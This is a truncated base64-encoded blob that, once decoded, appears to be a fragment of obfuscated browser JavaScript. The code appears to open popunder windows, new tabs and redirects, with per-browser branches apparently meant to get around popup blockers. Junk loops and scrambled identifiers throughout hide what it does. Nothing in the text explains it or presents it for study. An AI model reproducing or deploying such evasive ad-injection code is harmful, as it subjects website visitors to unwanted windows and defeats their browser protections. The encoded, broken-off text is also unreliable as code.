7bj17fTtuW3B1XT1beXUsZ3VdO25bX3VdPVt5dSx5dV07bltsdV09W2d1LGd1XTtuW2R1XT1bZ3UseXVdO2ZvcihpIGluIG4paWYoeWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0obixpKSYmbltpXVswXT09PXQmJm5baV1bMV09PT1lKXtyZXR1cm4gaTt9cmV0dXJuIF91O307ZT1YYy5sdCgpO2k9dChHYy5tdC4kdC5uZXdUYWIsR2MubXQuJHQudW5kZXIpO249dCh0aGlzLm10LkF0LHRoaXMubXQuVHQpO2V8fG49PT1wdSYmKG49aSk9PT1wdSYmKG49bHUpO1hjLm90JiYobj09PV91JiYobj1kdSksbj09PXB1JiYobj1sdSkpO3RoaXMueXQ9bjt9LEh0OmZ1bmN0aW9uKCl7dmFyIGswLG4wLEYwO2lmKHR5cGVvZiB0aGlzLm10Lnh0PT09WnMpdHJ5e3JldHVybiB0aGlzLm10Lnh0W0NpXSh0aGlzLHRoaXMubXQpW1hzK0dyK2hdKCk7fWNhdGNoKHQpe3JldHVybiBLYy5lKHQpLHl1O31rMD0tMTAwMjA0NzAxMztuMD0tMTY1MTM4NjMwNztGMD0yO2Zvcih2YXIgTTA9MTt3NS5MMShNMC50b1N0cmluZygpLE0wLnRvU3RyaW5nKCkubGVuZ3RoLDY4NDExKSE9PWswO00wKyspe3JldHVybiB0aGlzLm10Lnh0O0YwKz0yO31pZih3NS5kMShGMC50b1N0cmluZygpLEYwLnRvU3RyaW5nKCkubGVuZ3RoLDkwOTM5KSE9PW4wKXtyZXR1cm4gdGhpcy5tdC54dDt9fSxMdDpmdW5jdGlvbigpe3ZhciB0LGUsRzcsQzcsazcsVjAsdTAseTA7dD10aGlzLm10O2U9dC5PdCE9PU5zJiZ0Lk90IT09TmV8fHQuT3Q9PT1OcyYmWGMub3R8fHQuT3Q9PT1OZSYmIVhjLm90O3RyeXtHNz0tMTkzODMwODU3MjtDNz0tMTE3NzY0NDk2NDtrNz0yO2Zvcih2YXIgRjc9MTt3NS5kMShGNy50b1N0cmluZygpLEY3LnRvU3RyaW5nKCkubGVuZ3RoLDg5NDI0KSE9PUc3O0Y3Kyspe3R5cGVvZiB0Lkx0PT09WnM/ZT1lJiZ0Lkx0W0NpXSh0aGlzLGUsdGhpcy5OdCgpKSE9PXl1OnR5cGVvZiB0Lkx0PT09YW4mJihlPWUmJnQuTHQpO2s3Kz0yO31pZih3NS5MMShrNy50b1N0cmluZygpLGs3LnRvU3RyaW5nKCkubGVuZ3RoLDUzNDE4KSE9PUM3KXstdC5MdCE9PVpzP2U9ZXx8dC5MdFtDaV0odGhpcyxlLHRoaXMuTnQoKSk9PT15dTohdC5MdD09YW58fChlPWV8fHQuTHQpO319Y2F0Y2godCl7S2MuZSh0KTt9VjA9Njg3MDAyMDA4O3UwPS0yOTc1OTkyODc7eTA9Mjtmb3IodmFyIHYwPTE7dzUuTDEodjAudG9TdHJpbmcoKSx2MC50b1N0cmluZygpLmxlbmd0aCw2NDU0MSkhPT1WMDt2MCsrKXtyZXR1cm4gR2MuSnQoKT9lfHwtdGhpcy5WdDplfHwrdHUuYyh0LmJ0KTt5MCs9Mjt9aWYodzUuTDEoeTAudG9TdHJpbmcoKSx5MC50b1N0cmluZygpLmxlbmd0aCwyOTMyNSkhPT11MCl7cmV0dXJuIEdjLkp0KCk/ZXx8LXRoaXMuVnQ6ZXx8K3R1LmModC5idCk7fXJldHVybiBHYy5KdCgpP2UmJiF0aGlzLlZ0OmUmJiF0dS5jKHQuYnQpO30sdnQ6ZnVuY3Rpb24odCl7dmFyIGUsaSxuLHI7dGhpcy5tdD1aYy55KHRoaXMuenQsdGhpcy5rdCx0aGlzLm10LHR8fHt9KTtmb3IoaSBpbiB0aGlzLm10KWlmKHlpW1h0XVtCYStHcitsdCtHcitvb11bQ2ldKHRoaXMubXQsaSkpc3dpdGNoKG49dGhpcy5tdFtpXSxpKXtjYXNlIHNvOnRoaXMubXQud3Q9bjticmVhaztjYXNlIHo6dGhpcy5tdC54dD1uO2JyZWFrO2Nhc2UgTGU6dGhpcy5tdC5PdD0obitHcilbWHMrR3IrdHMrR3IrbmNdKCk7YnJlYWs7Y2FzZSBOdCtHcittYzp0aGlzLm10LmJ0PW47YnJlYWs7Y2FzZSBOdCtHcitUOnRoaXMubXQuQ3Q9bjticmVhaztjYXNlIE50K0dyK2VhOnRoaXMubXQuRXQ9bjticmVhaztjYXNlIE50K0dyKyRzOnRoaXMubXQuUHQ9bjticmVhaztjYXNlIEVlOnRoaXMubXQuVHQ9bjticmVhaztjYXNlIEErR3IrTG86dGhpcy5tdC5BdD1uO2JyZWFrO2Nhc2UgcHQrR3IramU6dGhpcy5tdC5GdD1uO2JyZWFrO2Nhc2UgamErR3IramU6dGhpcy5tdC5TdD1uO2JyZWFrO2Nhc2UgSWMrR3IrY3I6dGhpcy5tdC5qdD1uO2JyZWFrO2Nhc2UgdGUrR3Irc3M6dGhpcy5tdC5MdD1uO31pZighWGMub3QmJiF0aGlzLm10LkF0KWZvcihyPVtbWGMuZyYmMTE9PT1YYy5wdCx0aGlzLlV0XSxbWGMuYiYmWGMucHQ8NDEsdGhpcy5JdF0sW1hjLmIsdGhpcy5CdF0sW1hjLmQmJlhjLnB0PDQ3LHRoaXMuTXRdLFtYYy51dCx0aGlzLkR0XSxbWGMuY3QsdGhpcy5SdF0sW1hjLmImJlhjLnB0Pj01OSx0aGlzLld0XSxbWGMudXQmJlhjLnB0Pj00Nix0aGlzLld0XV0sZT0wO2U8cltwaV07ZSsrKWlmKHJbZV1bMF0pZm9yKGkgaW4gcltlXVsxXSl7eWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0ocltlXVsxXSxpKSYmKHRoaXMubXRbaV09cltlXVsxXVtpXSk7fX0sZ2V0T3B0aW9uczpmdW5jdGlvbigpe3JldHVybiB0aGlzLk50KCk7fSxOdDpmdW5jdGlvbigpe3ZhciB0LGU7ZT17fTtmb3IodCBpbiB0aGlzLm10KXt5aVtYdF1bQmErR3IrbHQrR3Irb29dW0NpXSh0aGlzLm10LHQpJiZ0W3BpXT49MyYmKGVbdF09dGhpcy5tdFt0XSk7fXJldHVybiBlO30scXQ6ZnVuY3Rpb24oKXtHYy5KdCgpP3RoaXMuVnQ9Z3U6dHUuYSh0aGlzLm10LmJ0LDEsdGhpcy5tdC5DdCx0aGlzLm10LkV0LHRoaXMubXQuUHQpO319OyhudT1mdW5jdGlvbih0KXt2YXIgZTtlPXRoaXM7dGhpcy5RdD10O3RoaXMuR3Q9dGhpcy5ZdCgpO3RoaXMuS3Q9dGhpcy5adCgpO2l1LlgodGhpcy5HdCxncyxmdW5jdGlvbigpe0dzKGUuS3QpO1pjLlAoZS5HdCk7fSk7fSlbWHRdPXtZdDpmdW5jdGlvbigpe3ZhciB0LEs3LHI3LFE3O0s3PS0xODIwMzgxMDU7cjc9MTk5MDM1MjYxMTtRNz0yO2Zvcih2YXIgajc9MTt3NS5kMShqNy50b1N0cmluZygpLGo3LnRvU3RyaW5nKCkubGVuZ3RoLDg2ODQwKSE9PUs3O2o3Kyspe3Q9WmMueihoYyx7Y2xhc3M6ZnV9LEdyKTtyZXR1cm4gdGhpcy5RdFtTYytHcittY11bWHMrR3IrdHMrR3IrbmNdKCk9PT1Rcj9yaVtRcl1bSXQrR3IrV2VdKHQpOnRoaXMuUXRbX3QrR3IraV1bTmMrR3IrT3NdKHQsdGhpcy5RdFtWcytHcitrc10pLHQ7UTcrPTI7fWlmKHc1LkwxKFE3LnRvU3RyaW5nKCksUTcudG9TdHJpbmcoKS5sZW5ndGgsMzM0MykhPT1yNyl7dD1aYy56KGhjLHtjbGFzczpmdX0sR3IpO3JldHVybiB0aGlzLlF0W1NjKkdyL21jXVtYcypHci10cy1Hci1uY10oKT09UXI/cmlbUXJdW0l0L0dyL1dlXSh0KTp0aGlzLlF0W190L0dyJWldWyhOYy1HcikqT3NdKHQsdGhpcy5RdFsoVnMtR3IpJWtzXSksdDt9fSxadDpmdW5jdGlvbigpe3ZhciB0O3Q9dGhpcztyZXR1cm4gQ28oZnVuY3Rpb24oKXt2YXIgZSxpO2k9VWModC5RdFt4ZV1bc24rR3IrenNdLDEwKTt0LlF0W1NjK0dyK21jXVtYcytHcit0cytHcituY10oKT09PVFyJiYoaT05ZTkpOyhlPV9uK1Z0K2dvK2VyK0RhK1Z0K04rZXIrbG4rVnQraytlcitHcisoS2ErVnQrR3IpK3QuUXRbZnIrR3Ird2NdKyhobytlcitHcikrKG9jK1Z0K0dyKSt0LlF0W2ZyK0dyK2ddKyhobytlcitHcikrKEhpK1Z0K0dyKSt0LlF0W2ZyK0dyK1duXSsoaG8rZXIrR3IpKyhwK1Z0K0dyKSt0LlF0W2ZyK0dyK0NjXSsoaG8rZXIrR3IpKyhzbit3aStMK1Z0K0dyKSsocWMoaSk/MjppKzEpKSE9PXQuR3RbYWErR3IrR2ldKHhlKSYmdC5HdFtsaStHcitHaV0oeGUsZSk7fSwxNTApO319O251Llh0PWZ1bmN0aW9uKHQpe3ZhciBlO3c1Llk0KDEyKTtlPXc1LmM0KHJ1LExpLHdpLHdpLEdyLGllLEdyKTt0W2FhK0dyK0dpXShlKXx8dFthYStHcitHaV0obG8pPT09ZnV8fCh0W2xpK0dyK0dpXShlLDEpLG5ldyBudSh0KSk7fTsoUWM9e2R0OmZ1bmN0aW9uKCl7dmFyIHQsZTtlPXRoaXMuZWUoKTtmb3IodD0wO3Q8ZVtwaV07dCsrKWlmKGVbdF1bMV0oKT09PWd1KXtyZXR1cm4gZVt0XVswXTt9cmV0dXJuIHl1O30sZWU6ZnVuY3Rpb24oKXt2YXIgdDt0PVtdO3JldHVybiBYYy5vdHx8WGMuaXQ/W106KHRbTXJdKFt0aGlzLmllLGZ1bmN0aW9uKCl7cmV0dXJuIFhjLmImJlhjLnB0Pj02NCYmWGMucHQ8Njc7fV0pLHRbTXJdKFt0aGlzLm5lLGZ1bmN0aW9uKCl7cmV0dXJuIFhjLmImJlpjLlkoKSYmWGMubnQmJlhjLnB0Pj00MyYmWGMucHQ8NjQ7fV0pLHRbTXJdKFt0aGlzLnJlLGZ1bmN0aW9uKCl7dmFyIGI3LHE3LG03O2I3PS02MDMwNTI0OTU7cTc9LTQwNjg3OTgwNDttNz0yO2Zvcih2YXIgSTc9MTt3NS5MMShJNy50b1N0cmluZygpLEk3LnRvU3RyaW5nKCkubGVuZ3RoLDU1NDM5KSE9PWI3O0k3Kyspe3JldHVybiBYYy5ifHxaYy5ZKCl8fFhjLm18fFhjLnB0PD0xN3x8WGMucHQ+PTg5O203Kz0yO31pZih3NS5MMShtNy50b1N0cmluZygpLG03LnRvU3RyaW5nKCkubGVuZ3RoLDYyMDk0KSE9PXE3KXtyZXR1cm4gWGMuYnx8WmMuWSgpfHxYYy5tfHxYYy5wdDw9MTd8fFhjLnB0Pj04OTt9cmV0dXJuIFhjLmImJlpjLlkoKSYmWGMubSYmWGMucHQ+PTQ5JiZYYy5wdDw2NDt9XSksdFtNcl0oW3RoaXMub2UsZnVuY3Rpb24oKXtyZXR1cm4gWGMuZDt9XSksdFtNcl0oW3RoaXMuc2UsZnVuY3Rpb24oKXtyZXR1cm4gWGMuZyYmWGMucHQ+PTExO31dKSx0W01yXShbdGhpcy5hZSxmdW5jdGlvbigpe3JldHVybiBYYy5odDt9XSksdFtNcl0oW3RoaXMuY2UsZnVuY3Rpb24oKXt2YXIgVDAsRTAsbzA7VDA9MTIwNjMzNjEyMTtFMD0xMjk2MjQyMjUyO28wPTI7Zm9yKHZhciBwMD0xO3c1LmQxKHAwLnRvU3RyaW5nKCkscDAudG9TdHJpbmcoKS5sZW5ndGgsNDUyNzYpIT09VDA7cDArKyl7cmV0dXJuIFhjLnV0fHxYYy5udHx8WGMucHQ+PTc0O28wKz0yO31pZih3NS5MMShvMC50b1N0cmluZygpLG8wLnRvU3RyaW5nKCkubGVuZ3RoLDY1MzgpIT09RTApe3JldHVybiBYYy51dCYmWGMubnQmJlhjLnB0PD00ODt9fV0pLHQpO319KS50ZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMudGVbWHRdPXtfZTprdSx1ZTpmdW5jdGlvbih0KXt2YXIgcjUsUTUsZTU7cjU9LTk1ODI4OTMwMTtRNT0tNjIxNDQ4NDIyO2U1PTI7Zm9yKHZhciBaNT0xO3c1LmQxKFo1LnRvU3RyaW5nKCksWjUudG9TdHJpbmcoKS5sZW5ndGgsOTUyNjgpIT09cjU7WjUrKyl7dGhpcy5mZT10O2U1Kz0yO31pZih3NS5MMShlNS50b1N0cmluZygpLGU1LnRvU3RyaW5nKCkubGVuZ3RoLDE0MzU1KSE9PVE1KXt0aGlzLmZlPXQ7fX0sbGU6a3UscGU6ZnVuY3Rpb24oKXt2YXIgdCxlLGksbixyLG8scyxhO2k9dGhpcztuPWkuZmU7cj1uLkh0KCk7bz1uLm10O3M9by53dHx8WmMuJCg1KTthPVpjLmsobyk7aWYodD1mdW5jdGlvbigpe3RyeXtpZih0eXBlb2Ygby5GdD09PVpzJiZvLkZ0W0NpXShuLHIsbyk9PT15dSl7cmV0dXJuIHl1O319Y2F0Y2godCl7S2MuZSh0KTt9cmV0dXJuIG11O30sZT1mdW5jdGlvbih0KXtpZih0eXBlb2Ygby5TdD09PVpzKXRyeXtvLlN0W0NpXShuLHIsbyx0KTt9Y2F0Y2godCl7S2MuZSh0KTt9fSx0KCk9PT15dSl7cmV0dXJuIHl1O310eXBlb2Ygb1t6XT09PVRjJiZvW3pdIT09ciYmKHI9b1t6XSk7R2MuanQoby5qdCk7dGhpcy5fZSgpO3RyeXtyZXR1cm4gdGhpcy5sZShyLG8scyxhLGZ1bmN0aW9uKHQpe2kuZGUodCk7aS5oZSYmR2MuaGUoKTtlKHQpO30pO31jYXRjaCh0KXtyZXR1cm4gS2MuZSh0KSx5dTt9fSx2ZTpmdW5jdGlvbih0LGUsaSl7cmV0dXJuKEdjLm10LmJlP1pjLkM6QXUpKHQsZSxpKTt9LGRlOmt1LGhlOmd1fTtRYy5tZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMubWVbWHRdPVpjLnkoUWMudGVbWHRdLHtoZTp5dSxsZTpmdW5jdGlvbih0LGUsaSxuLHIpe3IodGhpcy52ZSh0LGksbikpO319KTtRYy5nZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMuZ2VbWHRdPVpjLnkoUWMudGVbWHRdLHtoZTohWGMub3QmJiFYYy5kLGxlOmZ1bmN0aW9uKHQsZSxpLG4scil7cih0aGlzLnZlKHQsRmkpKTt9fSk7UWMueWU9ZnVuY3Rpb24odCl7dGhpcy51ZSh0KTt9O1FjLnllW1h0XT1aYy55KFFjLnRlW1h0XSx7a2U6ZnVuY3Rpb24oKXt2YXIgdCxlLGk7dD1HYy53ZSgpO2U9R2MueGUuUztpPXR5cGVvZiBHYy5tdC5PZT09PVpzP0djLm10Lk9lW0NpXSgpOkdjLm10Lk9lO3JldHVybiBmdW5jdGlvbigpe3ZhciBuLHI7cmV0dXJuIGkhPT1GdT9pOihuPVpjLiQoMSkscj1lP2k6R2MuQ2UodCl8fGksZXUucygpfHwhWGMub3QmJiFYYy5nP3I6KHR1LmEoY3UsbixtdSkscltaXSh2cixHcikrKEdyK3NlK0dyKStuKSk7fSgpO30sbGU6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgeDksejksaDksbyxzLGEsYyx1LGgsZixwO3g5PTE3MTA2NjI4Nzg7ejk9LTEwMzk3MjE3MTM7aDk9Mjtmb3IodmFyIEw5PTE7dzUuZDEoTDkudG9TdHJpbmcoKSxMOS50b1N0cmluZygpLmxlbmd0aCwzMDE4NykhPT14OTtMOSsrKXtoOSs9Mjt9aWYodzUuZDEoaDkudG9TdHJpbmcoKSxoOS50b1N0cmluZygpLmxlbmd0aCw0NTQ4MCkhPT16OSl7fWE9dGhpcy5rZSgpO2M9R2Mud2UoKTt1PVpjLk4oYyk7aD0xNTtmPVtdO3A9ZnVuY3Rpb24odCl7dmFyIGU7dHlwZW9mIHRbQW5dPT09WnMmJihlPXRbQW5dLGl1LlgodCxncyxlKSk7dFtBbl09ZnVuY3Rpb24oKXtyZXR1cm4geXU7fTt9O2ZvcihHYy5FZSgpLGMmJmNbU2MrR3IrbWNdPT09T24mJmNbYWErR3IrR2ldKFRpKSE9PUZpJiZaYy5mKGMsdW4pJiYocChjKSwwIT09Y1thYStHcitHaV0odW4pW0wrR3IrV2FdKEN0KSYmKGE9Y1thYStHcitHaV0odW4pKT09PUdyJiYoYT1GdSkpLGMmJmNbU2MrR3IrbWNdPT09T24mJmNbYWErR3IrR2ldKFRpKT09PUZpJiZaYy5mKGMsdW4pJiYocChjKSxpbyhmdW5jdGlvbigpe2NbQW5dPW11O30sM2UzKSxHYy5tdC5QZT9hPWNbYWErR3IrR2ldKHVuKTooYT1GdSxYYy5vdCYmKFhjLnV0P2ZbTXJdKGZ1bmN0aW9uKCl7QXUoY1thYStHcitHaV0odW4pLEZpKTt9KTppbyhmdW5jdGlvbigpe0F1KGNbYWErR3IrR2ldKHVuKSxGaSk7fSwyMCkpKSksWGMuZXQmJlhjLnV0fHxYYy5ldCYmWGMuc3QmJiFYYy5kJiYhWGMuYiYmIVhjLmh0PyhBdShhLEZpKSxaYy5IKEJyLGZ1bmN0aW9uKCl7WmMuVCh0KTt9LGgpKTohWGMub3QmJlpjLmgoYyxUaSkhPT1GaSYmKFhjLnV0JiZYYy5zdHx8WGMuaHQmJlhjLnB0PDEwfHxYYy5iJiZYYy5wdDw0MSk/WGMudXQ/KFpjLlEoYSksWmMuSChCcixmdW5jdGlvbigpe1pjLlQodCk7fSxoKSk6KFpjLlEodCksY1tTYytHcittY109PT1PbiYmdSYmWmMuVCh1KSk6WGMuZXQmJlhjLmQ/KG89QXUoYSxGaSksWmMuSChCcixmdW5jdGlvbigpe1pjLlQodCk7fSxoKSk6KG89eVtRYV0oVWErVnQrY2ksRmkpKT8ob1tFaV1bdW5dPWEsWmMuSChCcixmdW5jdGlvbigpe1pjLlQodCk7fSxoKSk6bz1BdSh0LEZpKSxzPTA7czxmW3BpXTtzKyspe2Zbc11bQ2ldKCk7fW8mJnIobyk7fX0pO1FjLm9lPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5vZVtYdF09WmMueShRYy50ZVtYdF0se2hlOnl1LGxlOmZ1bmN0aW9uKHQsZSxpLG4scil7dmFyIG87bz10aGlzLnZlKHQsaSxuKTtvW2tuXSgpO1R1W2JvXSgpO1pjLk0obyk7aW8oZnVuY3Rpb24oKXtyKG8pO30sMWUzKTt9fSk7UWMuY2U9ZnVuY3Rpb24odCl7dGhpcy51ZSh0KTt9O1FjLmNlW1h0XT1aYy55KFFjLnRlW1h0XSx7bGU6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgbyxzO289dGhpcy52ZSh0LGksbik7cz1HYy5UZSgxZTMpO2l1LksoeSxibyxmdW5jdGlvbigpe2lvKGZ1bmN0aW9uKCl7WmMuUChzKTt9LDEwKTt9KTtvW2NjXT1mdW5jdGlvbigpe2lvKGZ1bmN0aW9uKCl7WmMuUChzKTt9LDEwKTt9O3Iobyk7fX0pO1FjLmFlPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5hZVtYdF09WmMueShRYy50ZVtYdF0se2xlOmZ1bmN0aW9uKHQsZSxpLG4scil7dmFyIEQ5LFc5LGw5LG87RDk9MTk0OTIwNzgwOTtXOT04OTkwMjg0O2w5PTI7Zm9yKHZhciBWOT0xO3c1LkwxKFY5LnRvU3RyaW5nKCksVjkudG9TdHJpbmcoKS5sZW5ndGgsNTc4NTApIT09RDk7VjkrKyl7bDkrPTI7fWlmKHc1LkwxKGw5LnRvU3RyaW5nKCksbDkudG9TdHJpbmcoKS5sZW5ndGgsNTEwNjgpIT09Vzkpe315W3NvXT1aYy4kKDUpO289dGhpcy52ZSh0LGksbik7dGhpcy52ZShHcix5W3NvXSxHcik7eVtzb109bXU7cihvKTt9LGhlOnl1fSk7UWMuc2U9ZnVuY3Rpb24odCl7dGhpcy51ZSh0KTt9O1FjLnNlW1h0XT1aYy55KFFjLnRlW1h0XSx7bGU6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgbyxzO289dGhpcy52ZShQdT90OkZ1LGksbik7cz1mdW5jdGlvbigpe29bRWldW3VuXT10O307aXUuSyhvLGtuLHMpO29ba25dKCk7VHVbYm9dKCk7aW8ocywxMDApO3Iobyk7fSxoZTp5dX0pO1FjLm5lPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5uZVtYdF09WmMueShRYy50ZVtYdF0se0ZlOmZ1bmN0aW9uKCl7dmFyIHQsZTtlPVpjLnooYXIse2RhdGE6WmMuTChlbitQZStNYyx0aGlzLkFlKStaYy4kKDMpfSk7cmV0dXJuKHQ9WmMueihoYyx7c3R5bGU6UGkrVnQrYStlcitvYytWdCtIcytlcitLYStWdCtIcytlcitEYStWdCtOK2VyK3ArVnQrRnIrSGErR3IrZXIrSGkrVnQrem4rZXIrayt3aStHYStWdCtYaStlciskbytWdCthK2VyK0dyfSkpW0l0K0dyK1dlXShlKSxbZSx0XTt9LFNlOmZ1bmN0aW9uKHQpe3ZhciBlO2U9WmMueSh0LHt9KTtyZXR1cm4gZVtwXT1lW0hpXT05ZTUsZVtvY109ZVtLYV09MSxlO30sQWU6THQrR3IrdGErR3IrRmMrR3IrUHMrR3Irb24rR3IrV2MrR3IreG8rR3IrJCtHcithaStHcituK0dyK1NhK0dyK0tyK0dyK1F0K0dyK2t0K0dyK3p0K0dyK3RjK0dyK1l0K0dyK3ZhK0dyK3MrR3IrdmErdWMraG4rR3IrTGErR3IrenQrR3IrVytHcitEYytHcitaYStHcittdCtHcitWaStHcitzYStHcitVZStHcitUYStHcit2YStHcitWaStHcitQcitHcit4bytHcitVZStHcitpYytHcitwbytHcitLcitHcitKK0dyK2hzK0dyK1ppK0dyK3ZhK0dyK1ByK0dyK0xhK0dyK3p0K0dyK1crR3IrRmMrR3IrdGMrR3IrWGErR3IrVHMrR3IrWmkrR3IrdmErR3IrUHIrR3IrSGUrR3IrenQrR3IrVytHcitGYytHcit0YytHcityYytHcithZStHcit2aStHcit2YStHcitQcitHcitydCtHcitwcytHcittdCtHcituYStHcitUbytHcityZStHcit4bytHcit0YStHcitqaStHcitXK0dyK2F0K0dyK3ZhK0dyK1ByK0dyK2MrR3IrYit1YytFK0dyK1FvK0dyK3BzK0dyK2RjK0dyK1l0K0dyK3ZhK0dyK1lhK0dyK1hhK0dyK1RzK0dyK1ppK0dyK3ZhK0dyK0dlK0dyK09lK0dyK2dhK0dyK0hvK0dyK3ZhK0dyK1ByK0dyK2t0K0dyK3p0K0dyK1crR3IrRmMrR3IrdGMrR3IrdmErR3Ircm4rdWMrQnQrR3IrVm4rR3IrRStHcitucitHcitrdCtHcit6dCtHcitXK0dyK0RjK0dyK1phK0dyK210K0dyK1ZpK0dyK09lK0dyK1krR3IrS3QrR3IreG8rR3IrVWUrR3IrYnMrR3IrRnQrR3IrUG8rR3IrRStHcitVZStHcitiaStHcitVZStHcitTZStHcitWcitHcitEcytHcit4bytHcitVZStHcitHbytHcit2YStHcitQdCtHcitVZStHcitScitHcit5YytHcitPZStHcitWbytHcitLcitHcit2YytHcitiZStHcitzK0dyK3hjK0dyK0tvK0dyK3IrR3IrYWkrR3IrZnQrdWMrQnQrR3IrVm4rR3IrRStHcitucitHcitBZStHcit6dCtHcitXK0dyK0RjK0dyK1phK0dyK210K0dyK1ZpK0dyK05hK0dyK1RzK0dyK010K0dyK2hyK0dyK1lzK0dyK0tzK0dyK0UrR3IrVWUrR3IrZm4rR3IrcmMrR3IrYWUrR3IrRCtHcitMdCtHcitWcitHcit0YStHcittdCtHcitacitHcitWcitHcitPZSxsZTpmdW5jdGlvbih0LGUsaSxuLHIpe3ZhciBzLGEsYyx1LGg7dT10aGlzO2g9eXU7dHJ5eyhhPXRoaXMudmUoVWErVnQrY2ksRmkpKVttcl1bcnJdKHc1LnU0KHVyLEdyLEdyLGpvLFBlLHVpLEdyLFFyLEdyLFBlLG8sR3IsdWksdWksR3IsdXIsUGUsR3IsdXIsam8sR3IsdXIsbyx1aSxHcix1cixHcix1aSxRcix1cix1aSx3NS5ZNCgxMykpKTtpdS5LKGEscWEsZnVuY3Rpb24oKXtmdW5jdGlvbiBmKCl7bigpO2FbSW9dKCk7bygpO3JvKGMpO31ofHwoaD1ndSxzPWFbQmNdPUF1KFVhK1Z0K2NpLGksWmMuayh1LlNlKGUpKSksaXUuWChhLGJvLGYpLGM9aW8oZiwzZTMpLGFbbXJdW1FyXVtQYStHcithaStHcit4YytHcit6dCtHcitwYV09dS5GZSgpWzFdW1BuK0dyK2FpK0dyK3hjK0dyK3p0K0dyK3BhXSk7ZnVuY3Rpb24gbigpe3c1Llk0KDE0KTthW21yXVtRcl1bdzUudTQoUGEsenQsR3IsR3IsR3IseGMsR3IsYWkscGEpXT1Hcjt9ZnVuY3Rpb24gbygpe3ZhciBhMSxZMSxmMTthMT0tMTU2OTI3MTMyMDtZMT0yMzc1ODcyNDtmMT0yO2Zvcih2YXIgRDE9MTt3NS5MMShEMS50b1N0cmluZygpLEQxLnRvU3RyaW5nKCkubGVuZ3RoLDk0NDMyKSE9PWExO0QxKyspe3NbRWMlR3ItYmFdKGVbSGldLGVbcF0pO3NbZGElR3IqYmFdKGVbb2NdLGVbS2FdKTtzW0VpXVtaXSh0KTtyKHMpO2YxKz0yO31pZih3NS5kMShmMS50b1N0cmluZygpLGYxLnRvU3RyaW5nKCkubGVuZ3RoLDYyNDUzKSE9PVkxKXtzW0VjJUdyLWJhXShlW0hpXSxlW3BdKTtzW2RhJUdyKmJhXShlW29jXSxlW0thXSk7c1tFaV1bWl0odCk7cihzKTt9c1tFYytHcitiYV0oZVtIaV0sZVtwXSk7c1tkYStHcitiYV0oZVtvY10sZVtLYV0pO3NbRWldW1pdKHQpO3Iocyk7fX0pO31jYXRjaCh0KXt9fX0pO1FjLnJlPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5yZVtYdF09WmMueShRYy5uZVtYdF0se2xlOmZ1bmN0aW9uKHQsZSxpLG4scil7dmFyIG8scztzPVpjLk8oZ3UpO2l1LksoeSxibyxmdW5jdGlvbigpe1pjLlAocyk7b1tFaV1bWl0odCk7cihvKTt9KTt3NS5vNCg0KTtvPXRoaXMudmUodzUuYzQoVWEsVnQsY2kpLEZpKTtzW3RvK0dyK3lhXVttcl1bcnJdKHRoaXMuRmUoKVsxXVtQbitHcithaStHcit4YytHcit6dCtHcitwYV0pO319KTtRYy5pZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMuaWVbWHRdPVpjLnkoUWMudGVbWHRdLHtMZTpmdW5jdGlvbih0KXt2YXIgZSxpLG47aT10aGlzO249eXU7dzUubzQoNCk7ZT10aGlzLnZlKHc1LmM0KFVhLFZ0LGNpKSx0Lnd0fHxGaSx0LkJlfHxHcik7dC56ZSYmKGUmJmVbSW9dKCksbj1ndSk7IW4mJmUmJmlvKGZ1bmN0aW9uKCl7ZVtFaV1bdW5dPXQueHQ7dC5JZSYmaS5JZShlKTt9LDEwMCk7fSx1ZTpmdW5jdGlvbih0KXt2YXIgZSxpLG47bj10aGlzO3RoaXMuamU9ZHJbTW5dKCk7dGhpcy5mZT10O2U9R2Mud2UoKTt3NS5vNCgxNSk7aT1aYy5CKGUsdzUuYzQoZ3QsR3IseGMsR3IsR3IsRmMseGMsR3IsZmMsR3IsVnIpKTsoZVtTYytHcittY109PT1PbiYmZVthYStHcitHaV0oanIpIT09RmkmJiFaYy5TKGUpfHxpJiYhWmMuUyhpKSkmJih0aGlzLmhlPWd1KTtpdS5YKHksSWUsZnVuY3Rpb24gdChlKXt0cnl7ZVtpZV0uamU9PT1uLmplJiZuLkxlKGVbaWVdKTtlW2llXS56ZSYmaXUuWih5LEllLHQpO31jYXRjaCh0KXt9fSk7fSxsZTpmdW5jdGlvbih0LGUsaSxuLHIpe3RoaXMuSWU9cjt0aGlzLk1lKHtqZTp0aGlzLmplLEJlOm4sSWU6Z3UseHQ6dH0pO3RoaXMuTWUoe2plOnRoaXMuamUsemU6Z3UseHQ6VWErVnQrY2l9KTt9LGhlOnl1LE1lOmZ1bmN0aW9uKHQpe3lbSnQrR3IrWF0odCx5W0VpXVtSb10pO319KTtHYz17X2k6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5RaSgpK3RoaXMuSGkoKT5aYy5HKCk7fSxLaTpmdW5jdGlvbigpe3JldHVybiB0aGlzLm10LkplO30sSmU6ZnVuY3Rpb24oKXt2YXIgdDt0PVpjLngoYXJndW1lbnRzWzBdKT9hcmd1bWVudHNbMF06YXJndW1lbnRzO3JldHVybiB0aGlzLm5uKHQsUm4sdFtwaV0mJnRbMF09PT15dSk7fSxraTpmdW5jdGlvbih0LGUsaSxuKXt0aGlzLk9pKGksdCxndSl8fG4oZ3UseXUpO30sV2k6ZnVuY3Rpb24odCl7dHJ5e3JldHVybiB0W3F0XSYmMCE9PXRbcXRdfHx0aGlzLmNpLkcrMTUwPlpjLkcoKTt9Y2F0Y2godCl7cmV0dXJuIHl1O319LFJpOmZ1bmN0aW9uKCl7dGhpcy5XZT1bXTt9LFlpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMubXQucWU7fSxVaTpmdW5jdGlvbigpe3JldHVybiB0aGlzLldlO30sWmU6bXUsVGk6ZnVuY3Rpb24odCl7dmFyIGU7ZT0wO2lmKCF0fHx0aGlzLnFpKHQpKXtyZXR1cm4geXU7fWlmKCF0aGlzLm10LnFlW3B